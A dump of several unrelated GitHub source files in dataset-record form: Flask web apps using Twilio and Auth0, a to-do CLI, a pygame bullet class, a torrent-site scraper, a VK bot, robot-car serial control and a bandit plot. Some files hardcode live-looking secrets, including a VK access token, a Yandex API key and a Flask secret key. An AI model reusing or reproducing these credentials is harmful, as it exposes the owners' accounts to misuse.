userinfo=session[constants.PROFILE_KEY])\n\n# ALL APPS LINKED HERE #\n##################################\n\n\n@app.route('/logout')\ndef logout():\n # Clear session stored data\n session.clear()\n # Redirect user to logout endpoint\n # FORCE HTTPS if not localhost?!\n scheme = 'https' if 'localhost' not in request.host else request.scheme\n params = {'returnTo': url_for('home', _external=True, _scheme=scheme), 'client_id': AUTH0_CLIENT_ID}\n response = redirect(auth0.api_base_url + '/v2/logout?' + urlencode(params))\n response.set_cookie('ltjwt', value='', expires=0)\n return response\n\n\nif __name__ == \"__main__\":\n # app.run(host='0.0.0.0', port=env.get('PORT', 3000))\n app.run(host='0.0.0.0', port='3000')\n","repo_name":"codefour-gmbh/lt-lt","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":22876,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"32673965859","text":"import os\nfrom dotenv import load_dotenv\nfrom flask import Flask, request, render_template, redirect, session, url_for, send_file\nfrom twilio.rest import Client\nfrom twilio.base.exceptions import TwilioRestException\nfrom twilio.twiml.messaging_response import Message, MessagingResponse\nfrom werkzeug.utils import secure_filename\nfrom werkzeug.datastructures import FileStorage\nfrom image_classifier import get_tags\nfrom flask_googlemaps import GoogleMaps, Map\nimport sqlite3\nfrom sqlite3 import Error\nfrom s3_functions import s3upload_file, get_presigned_url\n\nload_dotenv()\nGOOGLE_MAPS_API = os.environ.get('GOOGLE_MAPS_API')\nTWILIO_ACCOUNT_SID = os.environ.get('TWILIO_ACCOUNT_SID')\nTWILIO_AUTH_TOKEN= os.environ.get('TWILIO_AUTH_TOKEN')\nVERIFY_SERVICE_SID= os.environ.get('VERIFY_SERVICE_SID')\n\napp = Flask(__name__)\nGoogleMaps(app, key=GOOGLE_MAPS_API)\nUPLOAD_FOLDER = \"static\"\nBUCKET = \"lats-image-data\"\n\napp.secret_key = 'dsfdgfdg;sdyyuyy'\nclient = Client(TWILIO_ACCOUNT_SID, TWILIO_AUTH_TOKEN)\n\napp.config['UPLOAD_EXTENSIONS'] = ['jpg', 'png', 'jpeg']\nmarkers = [] \n\ndef respond(message):\n response = MessagingResponse()\n response.message(message)\n return str(response)\n\ndef send_verification(sender_phone_number):\n phone = sender_phone_number\n client.verify \\\n .services(VERIFY_SERVICE_SID) \\\n .verifications \\\n .create(to=phone, channel='sms')\n \ndef check_verification_token(phone, token):\n check = client.verify \\\n .services(VERIFY_SERVICE_SID) \\\n .verification_checks \\\n .create(to=phone, code=token) \n return check.status == 'approved'\n\ndef allowed_file(filename):\n return '.' in filename and filename.rsplit('.', 1)[1].lower() in app.config['UPLOAD_EXTENSIONS']\n # returns T/F if '.' in filename and the extension is parsed correctly \n\n# #############################################################\n#\n# map route\n#\n# #############################################################\n\n@app.route('/map')\ndef mapview(): \n try:\n conn = sqlite3.connect('app.db')\n print(\"Successful connection!\")\n cur = conn.cursor()\n retrieve_img_url_query = \"\"\"SELECT phone_number, latitude, longitude, file_name, file_url FROM uploads;\"\"\"\n cur.execute(retrieve_img_url_query) \n img_urls = cur.fetchall()\n for entry in img_urls: \n # print(\"[DATA] : parsed entry = \", entry) \n if (entry[4] != \"URL TBD\"):\n img_src_str = entry[4]\n if (\"whatsapp\" not in entry[0]): # if not whatsapp add filename not presigned url \n img_src_str = \"/\" + entry[3]\n print(\"[DATA] : this is not a whatsapp number. changing to file name \", img_src_str)\n markers.append({\n 'icon': 'http://maps.google.com/mapfiles/ms/icons/green-dot.png',\n 'lat': entry[1], \n 'lng': entry[2],\n 'infobox': '
' +\n '\"sky\"' + '
' \n })\n print(\"[DATA] : markers = \", markers)\n\n except sqlite3.Error as e:\n print(e)\n finally:\n if conn:\n conn.close()\n else:\n print('Uh-oh')\n \n mymap = Map(\n identifier=\"sndmap\",\n style=(\n \"height:100%;\"\n \"width:100%;\"\n \"top:0;\"\n \"position:absolute;\"\n \"z-index:200;\"\n \"zoom: -9999999;\"\n ),\n # these coordinates re-center the map\n lat=37.805355,\n lng=-122.322618,\n markers=markers,\n )\n return render_template('map.html', mymap=mymap)\n\n# #############################################################\n#\n# other routes\n#\n# #############################################################\n\n@app.route('/')\ndef home():\n return render_template('index.html')\n\n@app.route('/story')\ndef story():\n return render_template('story.html')\n \n# #############################################################\n#\n# whatsapp portion\n#\n# #############################################################\n\n@app.route('/webhook', methods=['POST'])\ndef reply():\n sender_phone_number = request.form.get('From')\n media_msg = request.form.get('NumMedia') # 1 if its a picture \n latitude = request.values.get('Latitude')\n longitude = request.values.get('Longitude')\n\n try:\n conn = sqlite3.connect('app.db')\n print(\"Successful connection!\")\n cur = conn.cursor()\n query = \"\"\"SELECT EXISTS (SELECT 1 FROM uploads WHERE phone_number = (?))\"\"\"\n cur.execute(query, [sender_phone_number]) \n query_result = cur.fetchone()\n user_exists = query_result[0]\n\n # if user is not in the database and sends a word message such as \"hello\"\n if user_exists == 0 and media_msg == '0' and latitude is None and longitude is None:\n return respond('Please submit coordinates through the WhatsApp mobile app.')\n # print('Please submit coordinates through the WhatsApp mobile app.')\n\n # if the user is already in the database but sends a word message such as \"hello\"\n elif user_exists == 1 and media_msg == '0':\n return respond('Please send in a picture of the sky.')\n\n # if the user doesn't exist in the database yet and sends in their location data\n elif user_exists == 0 and latitude and longitude:\n insert_users = ''' INSERT INTO uploads(phone_number, latitude, longitude, file_name, file_url)\n VALUES(?,?,?,?,?) '''\n cur = conn.cursor()\n cur.execute(insert_users, (sender_phone_number, latitude, longitude, \"\", \"URL TBD\",))\n conn.commit()\n return respond('Thanks for sending in your location! Finish your entry by sending in a photo of the sky.')\n \n # if the user exists in the database and sends in a media message\n elif user_exists == 1 and media_msg == '1':\n pic_url = request.form.get('MediaUrl0')\n look_up_user_query = \"\"\"SELECT id FROM uploads WHERE phone_number = (?)\"\"\"\n cur.execute(look_up_user_query, [sender_phone_number]) \n query_result = cur.fetchone()\n user_id = query_result[0]\n pic_url = request.form.get('MediaUrl0') \n\n relevant_tags = get_tags(pic_url)\n print(\"The tags for your picture are : \", relevant_tags)\n if 'sky' in relevant_tags:\n update_user_picture = '''UPDATE uploads\n SET file_url = ?\n WHERE id = ?'''\n cur = conn.cursor()\n cur.execute(update_user_picture, (pic_url, user_id))\n conn.commit()\n print(\"[INFO] : sender has set their pic \")\n return respond('You\\'re all set!')\n else: \n return respond('Please send in a picture of the sky.')\n else:\n return respond('Please send your current location, then send a picture of the sky.')\n except Error as e:\n print(e)\n finally:\n if conn:\n conn.close()\n else:\n error = \"how tf did u get here.\"\n\n# #############################################################\n#\n# code for non-whatsapp users here\n#\n# #############################################################\n\n@app.route('/register', methods=['GET', 'POST'])\ndef register():\n if request.method == 'POST':\n print(request.form)\n sender_phone_number = request.form['formatted_number']\n latitude = request.form['latitude']\n longitude = request.form['longitude']\n print(\"[INFO] :\", sender_phone_number, \" sent in the coordinates: \", latitude, \" ,\", longitude)\n\n try:\n conn = sqlite3.connect('app.db')\n print(\"Successful connection!\")\n cur = conn.cursor()\n query = \"\"\"SELECT EXISTS (SELECT 1 FROM uploads WHERE phone_number = (?))\"\"\"\n cur.execute(query, [sender_phone_number]) \n query_result = cur.fetchone()\n user_exists = query_result[0]\n \n # if phone number not in db, add to db then send them to verify their acc\n if user_exists == 0: \n session['sender_phone_number'] = sender_phone_number\n error = None\n #############################\n # error case \n #############################\n if (\"+\" not in sender_phone_number):\n print(\"[INFO] : \\\"+\\\" not in sender_phone_number\")\n error = \"Please select your phone number area code from the dropdown.\"\n return render_template('register.html', error = error)\n else: \n insert_users = ''' INSERT INTO uploads(phone_number, latitude, longitude, file_name, file_url)\n VALUES(?,?,?,?,?) '''\n cur = conn.cursor()\n cur.execute(insert_users, (sender_phone_number, latitude, longitude, \"PIC NAME HERE\", \"URL TBD\",))\n conn.commit()\n print(\"[DATA] : successfully inserted new number into db\")\n send_verification(session['sender_phone_number'])\n print(\"[INFO] : user needs to get their verification code now\")\n return redirect(url_for('generate_verification_code'))\n\n # if phone number in db, send verification code\n if user_exists == 1: \n session['sender_phone_number'] = sender_phone_number\n send_verification(sender_phone_number)\n update_coordinates = '''UPDATE uploads\n SET latitude = ?,\n longitude = ?\n WHERE phone_number = ?'''\n cur = conn.cursor()\n cur.execute(update_coordinates, (latitude, longitude, sender_phone_number))\n conn.commit()\n print(\"[INFO] : user already exists so updating coordinates and sending verification code now\")\n return redirect(url_for('generate_verification_code'))\n return (\"unsure lol????\")\n except Error as e:\n print(e)\n finally:\n if conn:\n conn.close()\n else:\n error = \"how tf did u get here.\"\n return render_template('register.html')\n \n@app.route('/verifyme', methods=['GET', 'POST'])\ndef generate_verification_code():\n sender_phone_number = session['sender_phone_number']\n error = None\n if request.method == 'POST':\n verification_code = request.form['verificationcode']\n if check_verification_token(sender_phone_number, verification_code):\n return redirect(url_for('upload_file'))\n else:\n error = \"Invalid verification code. Please try again.\"\n return render_template('verifypage.html', error = error)\n return render_template('verifypage.html')\n\n@app.route('/upload')\ndef upload_file():\n return render_template('uploadpage.html')\n\n@app.route('/uploader', methods = ['GET', 'POST'])\ndef submitted_file():\n sender_phone_number = session['sender_phone_number']\n if request.method == 'POST':\n f = request.files['file']\n if f and allowed_file(f.filename):\n user_secure_filename = secure_filename(f.filename)\n f.save(os.path.join(UPLOAD_FOLDER, user_secure_filename))\n s3_key = f\"{UPLOAD_FOLDER}/{user_secure_filename}\"\n s3upload_file(s3_key, BUCKET)\n presigned_url = get_presigned_url(BUCKET, s3_key)\n \n # the file will be inserted into S3 and the key to retrieve it (static/{user_secure_filename}) will be in SQLite3 db\n relevant_tags = get_tags(presigned_url)\n print(\"The tags for your picture are : \", relevant_tags)\n if 'sky' in relevant_tags:\n try:\n conn = sqlite3.connect('app.db')\n print(\"Successful connection!\")\n cur = conn.cursor()\n look_up_user_query = \"\"\"SELECT id FROM uploads WHERE phone_number = (?)\"\"\"\n cur.execute(look_up_user_query, [sender_phone_number]) \n query_result = cur.fetchone()\n user_id = query_result[0]\n update_user_picture = '''UPDATE uploads\n SET file_name = ?,\n file_url = ?\n WHERE id = ?'''\n cur = conn.cursor()\n cur.execute(update_user_picture, (s3_key, presigned_url, user_id))\n conn.commit()\n print(\"[INFO] : sender has set their pic \")\n return render_template('success.html')\n except Error as e:\n print(e)\n finally:\n if conn:\n conn.close()\n else:\n error = \"how tf did u get here.\"\n else: \n error = \"Please upload a picture of the sky.\"\n return render_template('uploadpage.html', error = error)\n else:\n error = \"Please upload a valid file in .jpg, .jpeg, or .png format.\"\n return render_template('uploadpage.html', error = error)\n \nif __name__ == \"__main__\":\n main()\n ","repo_name":"dianephan/lookatthesky","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":12206,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"72464530473","text":"from rich import print \nfrom time import sleep \nimport os \nimport base \nimport inquirer \n \ntarefas = base.ListaTarefas() \n \nquestions = [ \n inquirer.List( \n 'opcao', \n message='Selecione a opção desejada', \n choices=[ \n 'Adicionar tarefa', \n 'Alterar o status da tarefa', \n 'Remover tarefa', \n 'Visualizar tarefas', \n 'Limpar o console', \n 'Fechar'] \n ) \n] \n \nopcoes = [ \n 'Adicionar tarefa', \n 'Alterar o status da tarefa', \n 'Remover tarefa', \n 'Visualizar tarefas', \n 'Limpar o console', \n 'Fechar' \n] \n \ndef valida_data(): \n while True: \n data = input('Digite a data da tarefa [DD/MM/AAAA]: ') \n if data == '': \n break \n try: \n dia, mes, ano = map(int, data.split('/')) \n if dia >= 1 and dia <= 31 and mes >= 1 and mes <= 12 and ano >= 2021 and ano <= 2100: \n break \n else: \n print('[red]Digite uma data no formato[/] [green][DIA/MÊS/ANO][/]') \n except: \n print('[red]Digite uma data no formato[/] [green][DIA/MÊS/ANO][/]') \n return data \n \nwhile True: \n resposta = inquirer.prompt(questions) \n if resposta['opcao'] == opcoes[0]: \n nome = input('Digite o nome da tarefa: ') \n data = valida_data() \n categoria = input('Digite a categoria da tarefa: ') \n tarefas.adicionar_tarefa(nome, data, categoria) \n print('Adicionando tarefa...') \n sleep(1) \n print('[bold green]Tarefa cadastrada com sucesso![/]') \n elif resposta['opcao'] == opcoes[1]: \n nome = input('Digite o nome da tarefa que deseja alterar: ') \n tarefas.alterar_status(nome) \n elif resposta['opcao'] == opcoes[2]: \n nome = input('Digite o nome da tarefa que deseja remover: ') \n tarefas.remover_tarefa(nome) \n elif resposta['opcao'] == opcoes[3]: \n data = valida_data()\n tarefas.imprimir_tarefas(data) \n elif resposta['opcao'] == opcoes[4]: \n os.system('clear') \n else: \n print('[white]Finalizando...[/]') \n sleep(2) \n break \nprint('[bold]Partiu concluir as tarefas pendentes![/]')\n\n","repo_name":"Erick-Want/poo_todolist","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2221,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"20253587475","text":"from Globals import *\n\nclass Enemybullet(Actor):\n\tdef __init__(self, startingx, startingy, velocity, player):\n\t\tsuper().__init__(startingx, startingy,5, 5, (255, 255, 255), \"../Images/bullet.png\")\n\t\tself.rotation = math.atan2(player.rect.y - self.rect.y, player.rect.x - self.rect.x)\n\t\tself.image = pygame.transform.rotate(self.imageS, math.degrees(self.rotation))\n\t\tself.speed = velocity\n\t\tself.life = 0\n\t\tGroupManager.camera_group.add(self)\n\tdef _update(self, player):\n\t\tif self.life <= 50:\n\t\t\tself.rect.x += math.cos(self.rotation) * self.speed\n\t\t\tself.rect.y += math.sin(self.rotation) * self.speed\n\t\t\tself.image.blit(self.imageS, (self.rect.x, self.rect.y))\n\t\t\tself.life += 1\n\n\t\telse:\n\t\t\tself.kill()\n\t\tself.wall_collide = pygame.sprite.spritecollide(self, self.walls, False)\n\t\tfor col in self.wall_collide:\n\t\t\tself.kill()\n","repo_name":"Akinyourface/TopDownShooter","sub_path":"Scripts/enemy_bullet.py","file_name":"enemy_bullet.py","file_ext":"py","file_size_in_byte":827,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"2148453890","text":"import requests\nfrom urllib.parse import quote\nimport json\nimport os\nimport time\nimport logging\nfrom bs4 import BeautifulSoup\n\n\nclass KAT:\n def __init__(self, caching=True, attempts=3):\n self.logger = logging.getLogger(\"Program.%s\" % __name__)\n self.logger.debug(\"Object created\")\n self._path = \"cache/KATCache.json\"\n self.attempts = attempts\n self._cache = caching\n self._data = None\n self.URL = \"https://katcr.co/katsearch/page/1/{qry}\"\n self._invalidRaws = []\n self._invalidMagnets = [\"https://www.get-express-vpn.com/torrent-vpn?offer=3monthsfree&a_fid=katcr\"]\n self._fileChecker()\n\n def _validateWeb(self, s: str):\n \"\"\"\n :param s: web raw\n :return: return True if s is valid (not database maintance or errors)\n \"\"\"\n for k, string in enumerate(self._invalidRaws):\n if string in s:\n # print(\"Invalidation code: {}\".format(k))\n return False\n return True\n\n @staticmethod\n def _validateDate(a: float, b: float, limit: float = 10800):\n \"\"\"\n :param a: [seconds]\n :param b: [seconds]\n :param limit: default is set to 3 hours [seconds]\n :return: True if difference is greater than limit else False\n \"\"\"\n return abs(a - b) < limit\n\n def _parse(self, raw):\n \"\"\"\n :param raw: parse data from website to list of magnets and names\n :return: list of objects found\n \"\"\"\n # k = 0\n # while os.path.exists(f\"responses/try{k}.html\"):\n # k += 1\n # with open(f\"responses/trykat{k}.html\", \"w\") as f:\n # f.write(raw)\n\n soup = BeautifulSoup(raw, \"lxml\")\n results = []\n try:\n for k, tr in enumerate(soup.body.table.tbody.find_all('tr', recursive=False)):\n tds = tr.find_all('td', recursive=False)\n divs = tds[0].div.find_all(\"div\", recursive=False)\n name = divs[0].a.b.text\n magnet = divs[1].find_all('a', recursive=False)[2].get('href')\n results.append(\n {\n \"position\": k,\n \"name\": name,\n \"magnet\": magnet,\n \"seeders\": int(tds[4].text)\n })\n except:\n self.logger.exception(\"Exception ocurred while trying to parse data from KAT\")\n return []\n else:\n return results\n\n def _save(self):\n self._fileChecker()\n with open(self._path, \"w\") as f:\n json.dump(self._data, f)\n\n def _search(self, query):\n \"\"\"\n :param query: parsed string to search\n :return: returns data from website if it's valid, otherwise return None\n \"\"\"\n try:\n response = requests.get(self.URL.format(qry=query), timeout=3)\n if response.status_code == 200:\n rawresults = response.text\n else:\n return None\n except requests.exceptions.Timeout:\n self.logger.debug(\"TimedOut\")\n return None\n except:\n self.logger.exception(query)\n return None\n else:\n if not self._validateWeb(rawresults):\n return None\n ans = self._parse(rawresults)\n if len(ans) > 0:\n self._loadCache()\n self._data[query] = {\"date\": time.time(), \"data\": ans}\n self._save()\n return ans\n return None\n\n def _fileChecker(self):\n \"\"\"\n create the cache file if it does not exist\n put {} in file if it's empty\n \"\"\"\n if not os.path.isdir(os.path.dirname(self._path)):\n os.mkdir(os.path.dirname(self._path))\n if os.path.isfile(self._path):\n if os.path.getsize(self._path) == 0:\n with open(self._path, \"w\") as f:\n f.write(\"{}\")\n f.close()\n else:\n with open(self._path, \"w+\") as f:\n f.write(\"{}\")\n f.close()\n\n def _loadCache(self):\n \"\"\"\n loads data from cache file\n \"\"\"\n self._fileChecker()\n if self._data is None:\n with open(self._path) as f:\n try:\n self._data = json.load(f)\n except Exception as e:\n self.logger.warning(\"Error while loading TPB cache\\n\\n%s\" % e)\n self._data = {}\n\n def _get(self, query, getAnyway: bool = False):\n \"\"\"\n :param query: parsed string to search\n :return: data from cache if it exists and it's valid, otherwise return None\n \"\"\"\n self._loadCache()\n if query in self._data:\n if getAnyway:\n return self._data[query]['data']\n if self._validateDate(self._data[query]['date'], time.time()):\n return self._data[query]['data']\n else:\n pass\n return None\n\n def search(self, q):\n \"\"\"\n :param q: unparsed query\n :return: parsed data from search\n \"\"\"\n q = quote(q)\n for c in range(self.attempts):\n if self._cache:\n ans = self._get(q)\n if ans is None:\n ans = self._search(q)\n # can be logged\n else:\n ans = self._search(q)\n if ans is not None:\n return ans\n return self._get(q, getAnyway=True)\n\n def fsearch(self, name, season, episode):\n name = name.replace(\"'\", \"\")\n results = self.search(\"{} s{:0>2d}e{:0>2d}\".format(name, season, episode)) # None or [dict_keys(position, name, magnet, seeders), ...]\n if results is not None:\n self.logger.debug(\"Filtering results\")\n self.logger.debug(f\"Before: {results}\")\n results = list(filter(lambda result: (not any([invalidmagnet in result['magnet'] for invalidmagnet in self._invalidMagnets])) and any([namepart in result['name'] for namepart in name.split(\" \")]), results))\n self.logger.debug(f\"After: {results}\")\n return results\n\n\nif __name__ == \"__main__\":\n kat = KAT(caching=False)\n # kat = KAT(caching=True)\n print(kat.fsearch(\"élite\", 3, 1))\n","repo_name":"alexregazzo/Downloader","sub_path":"scripts/KAT.py","file_name":"KAT.py","file_ext":"py","file_size_in_byte":6383,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"12100294409","text":"\n\ndef open_file(file_name):\n f = open(file_name, \"r\")\n return f\n\ndef find_min_max(file):\n max = None\n min = None\n sum_of_numbers = 0\n counter = 0\n for line in file:\n counter += 1\n number = float(line)\n sum_of_numbers += number\n if max == None and min == None:\n max = min = number\n if number > max:\n max = number\n if number < min:\n min = number\n average = sum_of_numbers/counter\n return min, max, average\n\n\nif __name__ == \"__main__\":\n try:\n input_str = input(\"Enter filename: \")\n my_file = open_file(input_str)\n min,max,average = find_min_max(my_file)\n print(f\"Min: {min}\")\n print(f\"Max: {max}\")\n print(f\"Average: {average}\")\n except(FileNotFoundError):\n print(\"File not found\")\n except(FileExistsError):\n print(\"No file exists\")","repo_name":"Konn1nn/Verkfraedi_lausnir","sub_path":"assignment5question4.py","file_name":"assignment5question4.py","file_ext":"py","file_size_in_byte":895,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"43161258945","text":"import vk_api\nfrom vk_api.longpoll import VkLongPoll, VkEventType\nfrom vk_api.keyboard import VkKeyboard, VkKeyboardColor, VkKeyboardButton\nimport wikipedia\nimport requests\nfrom getting_coordinates import getting\n\nwikipedia.set_lang(\"ru\")\n\ntoken = 'vk1.a.mSyBz6V_e7Yn4_t3Okw5Pg2YE5GbN1GfG_UQCdNxpGvIVKhP7cX60Oilu5POb6g1B6OixJjVrdjOkiCFmIhOzrLUx1nDjC3T8JF1iJT56cEtLwnUxlXsgjqDhR1p9Y7CT1TmO72NwcohWT0gLXCBilzbB-tWwg6artjkNyAHSF9o70VqiWdds-4I2_TcFD9mSxcjEYvxQQR-skdsAnY-tw'\n\nvk_session = vk_api.VkApi(token=token)\nvk = vk_session.get_api()\n\n\ndef mes(id, m, a):\n vk_session.method('messages.send', {\n 'user_id': id,\n 'attachment': a,\n 'message': m,\n 'random_id': 0\n })\n\n\ndef mes2(id, m):\n vk_session.method('messages.send', {\n 'user_id': id,\n 'message': m,\n 'random_id': 0\n })\n\n\nfor event in VkLongPoll(vk_session).listen():\n if event.type == VkEventType.MESSAGE_NEW and event.to_me:\n msg = event.text.lower()\n user_id = event.user_id\n geocoder_api_server = \"http://geocode-maps.yandex.ru/1.x/\"\n\n geocoder_params = {\n \"apikey\": \"40d1649f-0493-4b70-98ba-98533de7710b\",\n \"geocode\": msg,\n \"format\": \"json\"}\n\n response = requests.get(geocoder_api_server, params=geocoder_params)\n print(response.url)\n\n tompony = getting(response)\n\n ad = \"{0},{1}\".format(tompony[0], tompony[1])\n\n delta = \"0.009\"\n\n map_params = {\n \"ll\": ad,\n \"spn\": \",\".join([delta, delta]),\n \"l\": \"map\",\n \"pt\": f'{ad},pm2dgl,'\n }\n\n map_api_server = \"http://static-maps.yandex.ru/1.x/\"\n response = requests.get(map_api_server, params=map_params)\n\n if response:\n map_file = \"map.png\"\n with open(map_file, \"wb\") as file:\n file.write(response.content)\n\n upload = vk_api.VkUpload(vk)\n photo = upload.photo_messages('map.png')\n owner_id = photo[0]['owner_id']\n photo_id = photo[0]['id']\n access_key = photo[0]['access_key']\n attachment = f'photo{owner_id}_{photo_id}_{access_key}'\n mes(user_id, 'нашел:', attachment)\n","repo_name":"ivanchernych/last_task","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2200,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"73829274153","text":"from FrontToBackConnector import FrontToBackConnector\nfrom GUI import GUI\nimport threading\n\n\ndef main():\n \"\"\"\n Instantiates the GUI and the backend, then links them\n \"\"\"\n gui = []\n guiThread = threading.Thread(target=GUI, args=(gui,))\n guiThread.start()\n gui = gui[0]\n\n connector = []\n connectorThread = threading.Thread(target=FrontToBackConnector, args=(connector,))\n connectorThread.start()\n connector = connector[0]\n\n gui.myConnector = connector\n connector.myGUI = gui\n\nmain()\n","repo_name":"anthonyjsaab/Galois-Calculator","sub_path":"src/Launcher.py","file_name":"Launcher.py","file_ext":"py","file_size_in_byte":520,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"4318665100","text":"import serial\nimport time\nfrom path import get_path\n\nDEV_NAME = '/dev/ttyACM0'\nINPUT_FORMAT = \"LD:{},RD:{},FD:{},SH:{},SV:{}\"\nCOMMAND_FORMAT = \"MF:{},MB:{},ML:{},MR:{},SH:{},SV:{};\"\ntarget_cords = [1, 5]\n\n\nclass Car(object):\n\n def __init__(self):\n # Setup serial device\n self.serial_device = serial.Serial(DEV_NAME, baudrate=9600)\n\n def read_serial_data(self):\n \"\"\"\n Method to receive data from bluetooth device.\n \"\"\"\n data = ''\n bytes_to_read = self.serial_device.inWaiting()\n while bytes_to_read > 0:\n data += self.serial_device.read(bytes_to_read).decode()\n bytes_to_read = self.serial_device.inWaiting()\n time.sleep(0.1)\n return data\n\n def decode_serial_data(self, data):\n sensors = {\n 'left': 500,\n 'right': 500,\n 'front': 500,\n 'servo_h': None,\n 'servo_v': None\n }\n data = data.strip()\n # print(data)\n data_list = data.split(',')\n # print(data_list)\n for word in data_list:\n new_list = word.split(':')\n # print(new_list)\n if len(new_list) > 1:\n sensor = new_list[0]\n value = int(new_list[1].strip())\n if 'LD' in sensor:\n sensors['left'] = value\n elif 'RD' in sensor:\n sensors['right'] = value\n elif 'FD' in sensor:\n sensors['front'] = value\n elif 'SH' in sensor:\n sensors['servo_h'] = value\n elif 'SV' in sensor:\n sensors['servo_v'] = value\n return sensors\n\n def turn_left(self):\n command = COMMAND_FORMAT.format(0, 0, 100, 0, 90, 90)\n return command\n\n def turn_right(self):\n command = COMMAND_FORMAT.format(0, 0, 0, 100, 90, 90)\n return command\n\n def move_back(self):\n command = COMMAND_FORMAT.format(0, 100, 0, 0, 90, 90)\n return command\n\n def move_forward(self, value=100):\n command = COMMAND_FORMAT.format(value, 0, 0, 0, 90, 90)\n return command\n\n def stop(self):\n command = COMMAND_FORMAT.format(0, 0, 0, 0, 90, 90)\n return command\n\n def look_left(self, value=180):\n if value != 180:\n value = value + 90\n command = COMMAND_FORMAT.format(0, 0, 0, 0, value, 90)\n return command\n\n def look_right(self, value=10):\n command = COMMAND_FORMAT.format(0, 0, 0, 0, value, 90)\n return command\n\n def look_straight(self):\n command = COMMAND_FORMAT.format(0, 0, 0, 0, 90, 90)\n return command\n\n def get_next_command(self, current_cords, target_cords):\n source = \",\".join([str(x) for x in current_cords])\n destination = \",\".join([str(x) for x in target_cords])\n path_list = get_path(source, destination)\n commands = []\n if not path_list:\n return False, [self.stop()]\n for path in path_list:\n if 'F' in path:\n print(\"path val\", path)\n value = 100\n # value = int(path.replace('F', '0'))\n commands.append(self.move_forward(value))\n commands.append(self.look_left())\n commands.append(self.look_left())\n commands.append(self.look_left())\n\n commands.append(self.look_straight())\n\n commands.append(self.look_right())\n commands.append(self.look_right())\n commands.append(self.look_right())\n\n elif 'B' in path:\n commands.append(self.move_back())\n elif 'L' in path:\n commands.append(self.turn_left())\n elif 'R' in path:\n commands.append(self.turn_right())\n print(commands)\n return True, commands\n\n def control(self, barcodes):\n computed_commands = []\n for current_code in barcodes:\n print(current_code)\n code_list = current_code.split(',')\n if len(code_list) == 2:\n cord_x = int(code_list[0])\n cord_y = int(code_list[1])\n status, computed_commands = self.get_next_command([cord_x, cord_y], target_cords)\n for command in computed_commands:\n self.send_command(command)\n\n def get_commands(self, barcodes):\n computed_commands = []\n status = True\n for current_code in barcodes:\n print(current_code)\n code_list = current_code.split(',')\n if len(code_list) == 2:\n cord_x = int(code_list[0])\n cord_y = int(code_list[1])\n status, computed_commands = self.get_next_command([cord_x, cord_y], target_cords)\n return status, computed_commands\n\n def send_command(self, command):\n print(\"Sending\", command)\n self.serial_device.write(command.encode())\n # print(\"Reading from bot\")\n data = self.read_serial_data()\n sensors_data = {}\n if data:\n sensors_data = self.decode_serial_data(data)\n print(\"Read\", sensors_data)\n return sensors_data\n","repo_name":"vkylamba/chhotubot","sub_path":"pi/car.py","file_name":"car.py","file_ext":"py","file_size_in_byte":5233,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"74184027434","text":"from bandit_algo import create_testbed\nimport numpy as np \nimport matplotlib.pyplot as plt\n\nnp.random.seed(1)\n\nn_plays = 2000\nn_steps = 1000\nn_arms = 10\n\n\ntemp = [0.01,0.1, 1, 10]\nplt.rc('text',usetex=True)\nplt.rc('font', family='serif')\n\n\nfig, ax = plt.subplots(2, 1)\nfor t in temp:\n\n ### Call testbed class and implement softmax policy for various values of temperature\n testbed = create_testbed(n_arms,n_steps,n_plays)\n testbed.softmax(t)\n\n \n ax[0].plot(np.arange(n_steps)+1, testbed.avg_reward, label = r'temp : ' + str(t) )\n ax[1].plot(np.arange(n_steps)+1, testbed.optim_arm, label = r'temp : ' + str(t) )\n\nax[0].set_title(r'Softmax : Average Reward Vs Steps({} arms)'.format(testbed.n_arms))\nax[0].set_xlabel('Steps')\nax[0].set_ylabel('Average reward')\nax[0].legend()\n\nax[1].set_title(r'Softmax : $\\%$Optimal arm Vs Steps({} arms)'.format(testbed.n_arms))\nax[1].set_xlabel('Steps')\nax[1].set_ylabel(r'$\\%$Optimal arm')\nax[1].legend()\n\nfig.tight_layout()\nplt.show()","repo_name":"anandrajasekar18/bandit-algorithms","sub_path":"softmax.py","file_name":"softmax.py","file_ext":"py","file_size_in_byte":989,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"72229115753","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Time :2020/7/24 17:23\n# @Author :DKJ\n# @File :csv存储.py\n# @Software :PyCharm\n\n\nimport csv\nwith open ('../data.csv', 'w') as csvfile:\n writer = csv.writer(csvfile)\n writer.writerow(['id', 'name','age'])\n writer.writerows([['10001' , 'Mike' , 20],[' 10002 ',' Bob ', 22],['10003 ',']ordan ', 21]])\n# writer = csv.writer(csvfile,delimiter=' ')\n# writer.writerow ([' id ', ' name ',' age'])\n# writer. writerow( [' 10001' , 'Mike' , 20])\n# writer .writerow([' 10002 ',' Bob ', 22])\n# writer.writerow(['10003 ',']ordan ', 21])\n# 字典存储\nimport csv\nwith open (' data.csv ','w') as csvfile:\n fieldnames = ['id','name' ,'age']\n writer = csv.DictWriter(csvfile, fieldnames=fieldnames)\n writer. writeheader()\n writer.writerow({'id':'10001', 'name':'Mike','age': 20})\n writer.writerow({'id':'10002','name': 'Bob', 'age': 22})\n writer.writerow({'id':'10003','name' : 'Jordan','age': 21})\n\nimport csv\n\nwith open('../data.csv', 'r', encoding='utf-8') as csvfile:\n reader = csv.reader(csvfile)\n for row in reader:\n 